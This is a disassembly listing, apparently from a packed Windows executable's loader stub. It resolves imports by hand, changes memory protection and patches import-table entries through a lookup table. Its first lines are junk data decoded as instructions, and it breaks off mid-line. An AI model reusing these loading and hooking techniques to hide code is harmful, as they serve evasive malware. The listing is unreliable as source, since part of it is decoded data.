4F6ED00Dh jecxz short loc_4D4A15 out 0D9h, al mov eax, 65B38C81h loc_4D4A29: ; CODE XREF: _4:004D4A49j xchg esp, ds:0C1542B53h[eax] cmp al, 78h bound edi, [ebx+1Bh] out dx, eax loop near ptr byte_4D4A0D mov esi, 94A141C9h xchg ecx, [esi] pop es mov edx, [ebx+46h] cmp [ecx-7199795h], eax jmp short loc_4D4A29 ; --------------------------------------------------------------------------- db 7Eh dd 9D45C5B6h, 1DD88390h, 35429036h, 6A19B628h, 0B1251884h dd 0A6DC5CFBh, 76E58A07h, 26C1FAACh, 2F5D25Ch, 36296F67h dd 0FB59B843h, 90907B88h, 0C085C033h, 8D8BEE75h, 0FFFFFF1Ch dd 0FF088D89h, 958BFFFFh, 0FFFFFF08h, 3943E852h, 0C4830000h db 4 ; --------------------------------------------------------------------------- loc_4D4A9D: ; CODE XREF: _4:004D498Ej pop edi pop esi pop ebx mov esp, ebp pop ebp retn 10h ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D4AB0 proc near ; CODE XREF: sub_4D4D70+29p ; sub_4D4DC0+234p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3A = byte ptr -3Ah var_39 = byte ptr -39h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 48h mov [ebp+var_4], 1 mov [ebp+var_8], 0 jmp short loc_4D4ACC ; --------------------------------------------------------------------------- loc_4D4AC3: ; CODE XREF: sub_4D4AB0+106j ; sub_4D4AB0+2A8j mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_4D4ACC: ; CODE XREF: sub_4D4AB0+11j mov ecx, [ebp+var_8] imul ecx, 14h mov edx, [ebp+arg_0] cmp dword ptr [edx+ecx+0Ch], 0 jnz short loc_4D4AE1 jmp loc_4D4D5D ; --------------------------------------------------------------------------- loc_4D4AE1: ; CODE XREF: sub_4D4AB0+2Aj mov eax, [ebp+var_8] imul eax, 14h mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] add edx, [ecx+eax] mov [ebp+var_C], edx mov eax, [ebp+var_8] imul eax, 14h mov ecx, [ebp+arg_0] mov edx, [ebp+arg_4] add edx, [ecx+eax+10h] mov [ebp+var_20], edx mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] cmp ecx, [eax+34h] jnz short loc_4D4B19 mov edx, [ebp+var_20] mov [ebp+var_C], edx jmp short loc_4D4B27 ; --------------------------------------------------------------------------- loc_4D4B19: ; CODE XREF: sub_4D4AB0+5Fj mov eax, [ebp+var_C] cmp eax, [ebp+arg_4] jnz short loc_4D4B27 mov ecx, [ebp+var_20] mov [ebp+var_C], ecx loc_4D4B27: ; CODE XREF: sub_4D4AB0+67j ; sub_4D4AB0+6Fj mov [ebp+var_14], 0 mov edx, [ebp+var_8] imul edx, 14h mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] add ecx, [eax+edx+0Ch] mov [ebp+var_24], ecx cmp [ebp+arg_14], 0 jz short loc_4D4B5A mov edx, [ebp+var_24] push edx mov eax, [ebp+arg_14] push eax call sub_4D575D add esp, 8 mov [ebp+var_14], eax loc_4D4B5A: ; CODE XREF: sub_4D4AB0+95j cmp [ebp+var_14], 0 jnz short loc_4D4B6C mov ecx, [ebp+var_24] push ecx call sub_4DAF8C mov [ebp+var_14], eax loc_4D4B6C: ; CODE XREF: sub_4D4AB0+AEj mov edx, [ebp+var_8] imul edx, 14h mov eax, [ebp+arg_0] xor ecx, ecx cmp dword ptr [eax+edx+4], 0FFFFFFFEh setnz cl mov byte ptr [ebp+var_1C], cl mov edx, [ebp+var_8] imul edx, 14h mov eax, [ebp+arg_0] cmp dword ptr [eax+edx+4], 0 jnz short loc_4D4B9F mov ecx, [ebp+var_1C] and ecx, 0FFh test ecx, ecx jz short loc_4D4BDD loc_4D4B9F: ; CODE XREF: sub_4D4AB0+E0j mov edx, [ebp+arg_10] and edx, 0FFh test edx, edx jz short loc_4D4BBD cmp [ebp+var_14], 0 jnz short loc_4D4BBB mov [ebp+var_4], 0 jmp loc_4D4AC3 ; --------------------------------------------------------------------------- loc_4D4BBB: ; CODE XREF: sub_4D4AB0+100j jmp short loc_4D4BDD ; --------------------------------------------------------------------------- loc_4D4BBD: ; CODE XREF: sub_4D4AB0+FAj mov eax, [ebp+var_24] push eax call sub_4DAE83 mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4D4BDD mov ecx, [ebp+var_24] push ecx push offset aTheDynamicLink ; "The dynamic link library '%s' could not"... call sub_4D84F7 loc_4D4BDD: ; CODE XREF: sub_4D4AB0+EDj ; sub_4D4AB0:loc_4D4BBBj ... mov edx, ds:off_4E0BE8 mov [ebp+var_18], edx mov eax, [ebp+arg_C] mov ds:off_4E0BE8, eax push 0 call ds:dword_4E1718 ; GetModuleHandleA cmp eax, [ebp+arg_4] jnz short loc_4D4C62 mov [ebp+var_34], offset aExecutable ; "EXECUTABLE" mov ecx, [ebp+arg_C] mov [ebp+var_38], ecx loc_4D4C08: ; CODE XREF: sub_4D4AB0+18Aj mov edx, [ebp+var_38] mov al, [edx] mov [ebp+var_39], al mov ecx, [ebp+var_34] cmp al, [ecx] jnz short loc_4D4C45 cmp [ebp+var_39], 0 jz short loc_4D4C3C mov edx, [ebp+var_38] mov al, [edx+1] mov [ebp+var_3A], al mov ecx, [ebp+var_34] cmp al, [ecx+1] jnz short loc_4D4C45 add [ebp+var_38], 2 add [ebp+var_34], 2 cmp [ebp+var_3A], 0 jnz short loc_4D4C08 loc_4D4C3C: ; CODE XREF: sub_4D4AB0+16Bj mov [ebp+var_40], 0 jmp short loc_4D4C4D ; --------------------------------------------------------------------------- loc_4D4C45: ; CODE XREF: sub_4D4AB0+165j ; sub_4D4AB0+17Cj sbb edx, edx sbb edx, 0FFFFFFFFh mov [ebp+var_40], edx loc_4D4C4D: ; CODE XREF: sub_4D4AB0+193j mov eax, [ebp+var_40] mov [ebp+var_44], eax cmp [ebp+var_44], 0 jz short loc_4D4C62 mov [ebp+var_48], 0 jmp short loc_4D4C69 ; --------------------------------------------------------------------------- loc_4D4C62: ; CODE XREF: sub_4D4AB0+149j ; sub_4D4AB0+1A7j mov [ebp+var_48], 1 loc_4D4C69: ; CODE XREF: sub_4D4AB0+1B0j mov cl, byte ptr [ebp+var_48] mov byte ptr [ebp+var_10], cl jmp short loc_4D4C83 ; --------------------------------------------------------------------------- loc_4D4C71: ; CODE XREF: sub_4D4AB0:loc_4D4D3Aj mov edx, [ebp+var_20] add edx, 4 mov [ebp+var_20], edx mov eax, [ebp+var_C] add eax, 4 mov [ebp+var_C], eax loc_4D4C83: ; CODE XREF: sub_4D4AB0+1BFj mov ecx, [ebp+var_20] cmp dword ptr [ecx], 0 jz loc_4D4D3F mov edx, [ebp+var_C] cmp dword ptr [edx], 0 jz loc_4D4D3F mov eax, [ebp+var_8] imul eax, 14h mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax+4], 0 jnz short loc_4D4CB8 mov edx, [ebp+var_1C] and edx, 0FFh test edx, edx jz short loc_4D4D16 loc_4D4CB8: ; CODE XREF: sub_4D4AB0+1F9j mov eax, [ebp+var_C] mov ecx, [eax] and ecx, 80000000h test ecx, ecx jnz short loc_4D4CEA mov edx, [ebp+var_C] mov eax, [ebp+arg_4] add eax, [edx] mov [ebp+var_28], eax mov ecx, [ebp+var_28] add ecx, 2 push ecx mov edx, [ebp+var_14] push edx call ds:dword_4E1728 ; GetProcAddress mov ecx, [ebp+var_20] mov [ecx], eax jmp short loc_4D4D16 ; --------------------------------------------------------------------------- loc_4D4CEA: ; CODE XREF: sub_4D4AB0+215j mov edx, [ebp+var_C] mov eax, [edx] and eax, 0FFFFh mov [ebp+var_30], eax mov ecx, [ebp+var_30] push ecx mov edx, [ebp+var_14] push edx call ds:dword_4E1728 ; GetProcAddress mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_4D4D16 mov eax, [ebp+var_20] mov ecx, [ebp+var_2C] mov [eax], ecx loc_4D4D16: ; CODE XREF: sub_4D4AB0+206j ; sub_4D4AB0+238j ... mov edx, [ebp+var_10] and edx, 0FFh test edx, edx jz short loc_4D4D3A mov eax, [ebp+var_24] push eax mov ecx, ds:off_4E0BE8 push ecx mov edx, [ebp+var_20] push edx call sub_4D53D0 add esp, 0Ch loc_4D4D3A: ; CODE XREF: sub_4D4AB0+271j jmp loc_4D4C71 ; --------------------------------------------------------------------------- loc_4D4D3F: ; CODE XREF: sub_4D4AB0+1D9j ; sub_4D4AB0+1E5j mov eax, [ebp+var_18] mov ds:off_4E0BE8, eax mov ecx, [ebp+var_8] imul ecx, 14h mov edx, [ebp+arg_0] mov dword ptr [edx+ecx+4], 0FFFFFFFEh jmp loc_4D4AC3 ; --------------------------------------------------------------------------- loc_4D4D5D: ; CODE XREF: sub_4D4AB0+2Cj mov al, [ebp+var_4] mov esp, ebp pop ebp retn sub_4D4AB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D4D70 proc near ; CODE XREF: sub_4D5BD7+1B8p ; sub_4D614D+45p var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx mov eax, ds:dword_4E1914 add eax, 1 mov ds:dword_4E1914, eax mov ecx, [ebp+arg_14] push ecx mov dl, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_4D4AB0 add esp, 18h mov [ebp+var_4], al mov ecx, ds:dword_4E1914 sub ecx, 1 mov ds:dword_4E1914, ecx mov al, [ebp+var_4] mov esp, ebp pop ebp retn sub_4D4D70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D4DC0 proc near ; CODE XREF: _4:004CE2A6p var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 3Ch mov [ebp+var_18], 0 call sub_4D2DD0 call sub_4D9DD4 call sub_4CC3F3 mov eax, ds:dword_4E1684 mov ecx, [eax+4] mov [ebp+var_18], ecx mov edx, [ebp+var_18] mov eax, [ebp+var_18] add eax, [edx+3Ch] mov ds:dword_4E1910, eax mov ecx, ds:dword_4E1910 cmp dword ptr [ecx], 4550h jz short loc_4D4E0D mov ecx, 0EF000002h call sub_4D8342 loc_4D4E0D: ; CODE XREF: sub_4D4DC0+41j mov edx, ds:dword_4E1698 sub edx, 3 mov [ebp+var_4], edx cmp ds:dword_4E1680, 1 jz short loc_4D4E37 lea eax, [ebp+var_8] push eax push 4 push 190h mov ecx, [ebp+var_18] push ecx call ds:dword_4E17AC ; VirtualProtect loc_4D4E37: ; CODE XREF: sub_4D4DC0+60j mov [ebp+var_14], 0 jmp short loc_4D4E49 ; --------------------------------------------------------------------------- loc_4D4E40: ; CODE XREF: sub_4D4DC0+AFj ; sub_4D4DC0:loc_4D4F6Dj mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx loc_4D4E49: ; CODE XREF: sub_4D4DC0+7Ej mov eax, [ebp+var_14] cmp eax, [ebp+var_4] jnb loc_4D4F72 mov ecx, [ebp+var_14] imul ecx, 28h mov edx, ds:off_4E169C add edx, ecx mov [ebp+var_20], edx mov eax, [ebp+var_20] cmp dword ptr [eax+0Ch], 0 jnz short loc_4D4E71 jmp short loc_4D4E40 ; --------------------------------------------------------------------------- loc_4D4E71: ; CODE XREF: sub_4D4DC0+ADj cmp [ebp+var_14], 20h jnb short loc_4D4E98 mov edx, 1 mov ecx, [ebp+var_14] shl edx, cl mov eax, ds:dword_4E1684 mov ecx, [eax+10h] and ecx, edx test ecx, ecx jz short loc_4D4E98 mov [ebp+var_34], 1 jmp short loc_4D4E9F ; --------------------------------------------------------------------------- loc_4D4E98: ; CODE XREF: sub_4D4DC0+B5j ; sub_4D4DC0+CDj mov [ebp+var_34], 0 loc_4D4E9F: ; CODE XREF: sub_4D4DC0+D6j mov edx, [ebp+var_34] mov [ebp+var_28], edx cmp [ebp+var_14], 20h jnb short loc_4D4ECD mov eax, 1 mov ecx, [ebp+var_14] shl eax, cl mov ecx, ds:dword_4E1684 mov edx, [ecx+14h] and edx, eax test edx, edx jz short loc_4D4ECD mov [ebp+var_38], 1 jmp short loc_4D4ED4 ; --------------------------------------------------------------------------- loc_4D4ECD: ; CODE XREF: sub_4D4DC0+E9j ; sub_4D4DC0+102j mov [ebp+var_38], 0 loc_4D4ED4: ; CODE XREF: sub_4D4DC0+10Bj mov eax, [ebp+var_38] mov [ebp+var_2C], eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+var_20] push edx mov eax, [ebp+var_2C] push eax mov ecx, [ebp+var_28] push ecx call loc_4D48C0 mov edx, [ebp+var_20] mov eax, [edx+24h] and eax, 20000000h test eax, eax jz short loc_4D4F19 mov ecx, [ebp+var_20] mov edx, [ecx+24h] and edx, 80000000h neg edx sbb edx, edx and edx, 20h add edx, 20h mov [ebp+var_3C], edx jmp short loc_4D4F32 ; --------------------------------------------------------------------------- loc_4D4F19: ; CODE XREF: sub_4D4DC0+13Cj mov eax, [ebp+var_20] mov ecx, [eax+24h] and ecx, 80000000h neg ecx sbb ecx, ecx and ecx, 2 add ecx, 2 mov [ebp+var_3C], ecx loc_4D4F32: ; CODE XREF: sub_4D4DC0+157j mov edx, [ebp+var_3C] mov [ebp+var_24], edx cmp ds:dword_4E1680, 1 jz short loc_4D4F6D mov eax, ds:dword_4E1910 xor ecx, ecx mov cx, [eax+14h] mov edx, ds:dword_4E1910 lea eax, [edx+ecx+18h] mov ecx, [ebp+var_14] imul ecx, 28h add eax, ecx mov [ebp+var_30], eax mov edx, [ebp+var_30] mov eax, [ebp+var_20] mov ecx, [eax+24h] mov [edx+24h], ecx loc_4D4F6D: ; CODE XREF: sub_4D4DC0+17Fj jmp loc_4D4E40 ; --------------------------------------------------------------------------- loc_4D4F72: ; CODE XREF: sub_4D4DC0+8Fj cmp ds:dword_4E1680, 1 jz short loc_4D4FA3 mov edx, ds:dword_4E1910 mov eax, ds:off_4E169C mov ecx, [eax-0Ch] mov [edx+0ECh], ecx mov edx, ds:dword_4E1910 mov eax, ds:off_4E169C mov ecx, [eax-8] mov [edx+0E8h], ecx loc_4D4FA3: ; CODE XREF: sub_4D4DC0+1B9j cmp ds:dword_4E1680, 1 jz short loc_4D4FC3 lea edx, [ebp+var_8] push edx mov eax, [ebp+var_8] push eax push 190h mov ecx, [ebp+var_18] push ecx call ds:dword_4E17AC ; VirtualProtect loc_4D4FC3: ; CODE XREF: sub_4D4DC0+1EAj mov edx, ds:dword_4E1684 mov eax, [ebp+var_18] add eax, [edx+8] mov [ebp+var_C], eax mov ds:dword_4E1914, 0 push 0 push 0 push offset aExecutable ; "EXECUTABLE" mov ecx, ds:dword_4E1910 push ecx mov edx, [ebp+var_18] push edx mov eax, [ebp+var_C] push eax call sub_4D4AB0 add esp, 18h call sub_4D613C and eax, 0FFh test eax, eax jz short loc_4D501F loc_4D500A: ; CODE XREF: sub_4D4DC0+258j call sub_4D614D and eax, 0FFh test eax, eax jz short loc_4D501A jmp short loc_4D500A ; --------------------------------------------------------------------------- loc_4D501A: ; CODE XREF: sub_4D4DC0+256j call sub_4D613C loc_4D501F: ; CODE XREF: sub_4D4DC0+248j push offset aImm32_dll ; "imm32.dll" call ds:dword_4E1718 ; GetModuleHandleA mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_4D5041 push offset aImm32_dll ; "imm32.dll" mov ecx, [ebp+var_1C] push ecx call sub_4D5070 loc_4D5041: ; CODE XREF: sub_4D4DC0+271j push offset aOleoaut32_dll ; "oleoaut32.dll" call ds:dword_4E1718 ; GetModuleHandleA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_4D5063 push offset aOleaout32_dll ; "oleaout32.dll" mov edx, [ebp+var_10] push edx call sub_4D5070 loc_4D5063: ; CODE XREF: sub_4D4DC0+293j mov esp, ebp pop ebp retn sub_4D4DC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D5070 proc near ; CODE XREF: sub_4D4DC0+27Cp ; sub_4D4DC0+29Ep ... var_2C = dword ptr -2Ch var_28 = byte ptr -28h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 2Ch mov eax, ds:dword_4E1914 add eax, 1 mov ds:dword_4E1914, eax mov ecx, [ebp+arg_4] mov ds:off_4E0BE8, ecx push 9 lea ecx, [ebp+var_28] call sub_4DB77C lea edx, [ebp+var_28] push edx push 0 mov eax, [ebp+arg_0] push eax call sub_4D50D0 add esp, 0Ch mov ecx, ds:dword_4E1914 sub ecx, 1 mov ds:dword_4E1914, ecx mov [ebp+var_2C], 1 lea ecx, [ebp+var_28] call sub_4DB82A mov eax, [ebp+var_2C] mov esp, ebp pop ebp retn 8 sub_4D5070 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D50D0 proc near ; CODE XREF: sub_4D5070+30p ; sub_4D50D0+24Bp var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE460 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFB8h push ebx push esi push edi mov [ebp+var_18], esp cmp [ebp+arg_0], 0 jnz short loc_4D5101 jmp loc_4D53BC ; --------------------------------------------------------------------------- loc_4D5101: ; CODE XREF: sub_4D50D0+2Aj mov eax, [ebp+arg_0] mov [ebp+var_2C], eax mov ecx, [ebp+arg_4] mov [ebp+var_28], ecx mov edx, [ebp+arg_4] mov [ebp+var_30], edx jmp short loc_4D511E ; --------------------------------------------------------------------------- loc_4D5115: ; CODE XREF: sub_4D50D0:loc_4D5133j mov eax, [ebp+var_30] mov ecx, [eax+4] mov [ebp+var_30], ecx loc_4D511E: ; CODE XREF: sub_4D50D0+43j cmp [ebp+var_30], 0 jz short loc_4D5135 mov edx, [ebp+var_30] mov eax, [edx] cmp eax, [ebp+arg_0] jnz short loc_4D5133 jmp loc_4D53BC ; --------------------------------------------------------------------------- loc_4D5133: ; CODE XREF: sub_4D50D0+5Cj jmp short loc_4D5115 ; --------------------------------------------------------------------------- loc_4D5135: ; CODE XREF: sub_4D50D0+52j mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+arg_8] call sub_4DB871 test eax, eax jz short loc_4D514A jmp loc_4D53BC ; --------------------------------------------------------------------------- loc_4D514A: ; CODE XREF: sub_4D50D0+73j mov edx, ds:dword_4E1914 add edx, 1 mov ds:dword_4E1914, edx mov eax, [ebp+arg_0] mov [ebp+var_34], eax mov ecx, ds:off_4E0BE8 mov [ebp+var_24], ecx mov [ebp+var_4], 0 mov edx, [ebp+var_34] mov eax, [ebp+var_34] add eax, [edx+3Ch] mov [ebp+var_38], eax mov ecx, [ebp+var_38] cmp dword ptr [ecx], 4550h jnz loc_4D5371 cmp ds:dword_4E1680, 1 jnz short loc_4D51AA cmp [ebp+arg_0], 80000000h jbe short loc_4D51AA push 0 push 0 push 0 push 0 call ds:dword_4E1778 ; RaiseException loc_4D51AA: ; CODE XREF: sub_4D50D0+C1j ; sub_4D50D0+CAj mov edx, [ebp+var_38] mov eax, [ebp+var_34] add eax, [edx+80h] mov [ebp+var_20], eax mov [ebp+var_4], 1 cmp ds:dword_4E1680, 1 jnz short loc_4D5247 mov [ebp+var_40], 0 jmp short loc_4D51DB ; --------------------------------------------------------------------------- loc_4D51D2: ; CODE XREF: sub_4D50D0:loc_4D5245j mov ecx, [ebp+var_40] add ecx, 1 mov [ebp+var_40], ecx loc_4D51DB: ; CODE XREF: sub_4D50D0+100j mov edx, [ebp+var_38] xor eax, eax mov ax, [edx+6] cmp [ebp+var_40], eax jnb short loc_4D5247 mov ecx, [ebp+var_38] xor edx, edx mov dx, [ecx+14h] mov eax, [ebp+var_38] lea ecx, [eax+edx+18h] mov edx, [ebp+var_40] imul edx, 28h add ecx, edx mov [ebp+var_44], ecx mov eax, [ebp+var_44] mov ecx, [ebp+var_34] add ecx, [eax+0Ch] cmp ecx, [ebp+var_20] ja short loc_4D5245 mov edx, [ebp+var_44] mov eax, [ebp+var_34] add eax, [edx+0Ch] mov ecx, [ebp+var_44] add eax, [ecx+8] cmp [ebp+var_20], eax ja short loc_4D5245 mov edx, [ebp+var_44] mov eax, [edx+24h] and eax, 10000000h test eax, eax jz short loc_4D5243 push 0 push 0 push 0 push 0 call ds:dword_4E1778 ; RaiseException loc_4D5243: ; CODE XREF: sub_4D50D0+163j jmp short loc_4D5247 ; --------------------------------------------------------------------------- loc_4D5245: ; CODE XREF: sub_4D50D0+140j ; sub_4D50D0+154j jmp short loc_4D51D2 ; --------------------------------------------------------------------------- loc_4D5247: ; CODE XREF: sub_4D50D0+F7j ; sub_4D50D0+117j ... mov [ebp+var_4], 0 jmp short loc_4D526E ; --------------------------------------------------------------------------- loc_4D5250: ; DATA XREF: _5:004DE470o mov ecx, [ebp+var_14] mov edx, [ecx] mov eax, [edx] mov [ebp+var_58], eax mov eax, [ebp+var_58] neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- loc_4D5264: ; DATA XREF: _5:004DE474o mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_4D526E: ; CODE XREF: sub_4D50D0+17Ej mov ecx, [ebp+var_38] mov eax, [ecx+84h] xor edx, edx mov ecx, 14h div ecx mov [ebp+var_1C], eax mov [ebp+var_3C], 0 jmp short loc_4D5295 ; --------------------------------------------------------------------------- loc_4D528C: ; CODE XREF: sub_4D50D0:loc_4D536Cj mov edx, [ebp+var_3C] add edx, 1 mov [ebp+var_3C], edx loc_4D5295: ; CODE XREF: sub_4D50D0+1BAj mov eax, [ebp+var_3C] cmp eax, [ebp+var_1C] jnb loc_4D5371 mov ecx, [ebp+var_3C] imul ecx, 14h mov edx, [ebp+var_20] mov eax, [ebp+var_34] add eax, [edx+ecx+0Ch] mov [ebp+var_50], eax mov ecx, [ebp+var_3C] imul ecx, 14h mov edx, [ebp+var_20] cmp dword ptr [edx+ecx+0Ch], 0 jz short loc_4D52DD mov eax, [ebp+var_3C] imul eax, 14h mov ecx, [ebp+var_20] mov edx, [ecx+eax+0Ch] mov eax, [ebp+var_34] xor ecx, ecx mov cl, [eax+edx] test ecx, ecx jnz short loc_4D52E2 loc_4D52DD: ; CODE XREF: sub_4D50D0+1F2j jmp loc_4D5371 ; --------------------------------------------------------------------------- loc_4D52E2: ; CODE XREF: sub_4D50D0+20Bj mov edx, [ebp+var_3C] imul edx, 14h mov eax, [ebp+var_20] mov ecx, [ebp+var_34] add ecx, [eax+edx+10h] mov [ebp+var_48], ecx mov edx, [ebp+var_50] push edx call sub_4DAF8C mov [ebp+var_4C], eax mov eax, [ebp+var_50] mov ds:off_4E0BE8, eax cmp [ebp+var_4C], 0 jz short loc_4D5323 mov ecx, [ebp+arg_8] push ecx lea edx, [ebp+var_2C] push edx mov eax, [ebp+var_4C] push eax call sub_4D50D0 add esp, 0Ch loc_4D5323: ; CODE XREF: sub_4D50D0+23Dj push 0 call ds:dword_4E1718 ; GetModuleHandleA cmp eax, [ebp+arg_0] jz short loc_4D536C mov ecx, [ebp+var_4C] push ecx mov ecx, ds:dword_4E60D8 call sub_4DB871 test eax, eax jz short loc_4D536C jmp short loc_4D534E ; --------------------------------------------------------------------------- loc_4D5345: ; CODE XREF: sub_4D50D0+29Aj mov edx, [ebp+var_48] add edx, 4 mov [ebp+var_48], edx loc_4D534E: ; CODE XREF: sub_4D50D0+273j mov eax, [ebp+var_48] cmp dword ptr [eax], 0 jz short loc_4D536C mov ecx, [ebp+var_50] push ecx mov edx, [ebp+var_24] push edx mov eax, [ebp+var_48] push eax call sub_4D53D0 add esp, 0Ch jmp short loc_4D5345 ; --------------------------------------------------------------------------- loc_4D536C: ; CODE XREF: sub_4D50D0+25Ej ; sub_4D50D0+271j ... jmp loc_4D528C ; --------------------------------------------------------------------------- loc_4D5371: ; CODE XREF: sub_4D50D0+B4j ; sub_4D50D0+1CBj ... push 1 mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+arg_8] call sub_4DB98E mov [ebp+var_4], 0FFFFFFFFh jmp short loc_4D53A5 ; --------------------------------------------------------------------------- mov edx, [ebp+var_14] mov eax, [edx] mov ecx, [eax] mov [ebp+var_54], ecx mov eax, [ebp+var_54] neg eax sbb eax, eax inc eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_4], 0FFFFFFFFh loc_4D53A5: ; CODE XREF: sub_4D50D0+2B6j mov eax, [ebp+var_24] mov ds:off_4E0BE8, eax mov ecx, ds:dword_4E1914 sub ecx, 1 mov ds:dword_4E1914, ecx loc_4D53BC: ; CODE XREF: sub_4D50D0+2Cj ; sub_4D50D0+5Ej ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4D50D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D53D0 proc near ; CODE XREF: sub_4D4AB0+282p ; sub_4D50D0+292p var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_4], 0 cmp ds:dword_4E60D4, 0 jnz short loc_4D53F0 mov ecx, 0EF00000Ah call sub_4D8342 loc_4D53F0: ; CODE XREF: sub_4D53D0+14j mov eax, [ebp+arg_0] mov ecx, [eax] push ecx mov ecx, ds:dword_4E60D4 call sub_4DB871 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4D544F lea edx, [ebp+var_10] push edx push 4 push 4 mov eax, [ebp+arg_0] push eax call ds:dword_4E17AC ; VirtualProtect test eax, eax jnz short loc_4D542A mov ecx, 0EF00000Bh call sub_4D8342 loc_4D542A: ; CODE XREF: sub_4D53D0+4Ej mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov eax, [edx] mov [ecx], eax lea ecx, [ebp+var_C] push ecx mov edx, [ebp+var_10] push edx push 4 mov eax, [ebp+arg_0] push eax call ds:dword_4E17AC ; VirtualProtect mov [ebp+var_4], 1 loc_4D544F: ; CODE XREF: sub_4D53D0+38j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4D53D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4D5456 proc near ; CODE XREF: sub_4CC3F3+23p ; sub_4CF036+A5p var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = dword ptr -26h var_1E = dword ptr -1Eh var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4DE478 push offset sub_4CC54C mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 6Ch push ebx push esi push edi and [ebp+var_30], 0 and [ebp+var_2C], 0 and [ebp+var_4], 0 and [ebp+var_3C], 0 lea eax, [ebp+var_34] push eax push 0 lea eax, [ebp+var_3C] push eax push 0Eh lea eax, [ebp+var_28] push eax push [ebp+arg_0] call sub_4D1177 test eax, eax jz short loc_4D54B7 lea eax, [ebp+var_44] push eax push [ebp+arg_0] call sub_4D0672 test eax, eax jnz short loc_4D54D0 loc_4D54B7: ; CODE 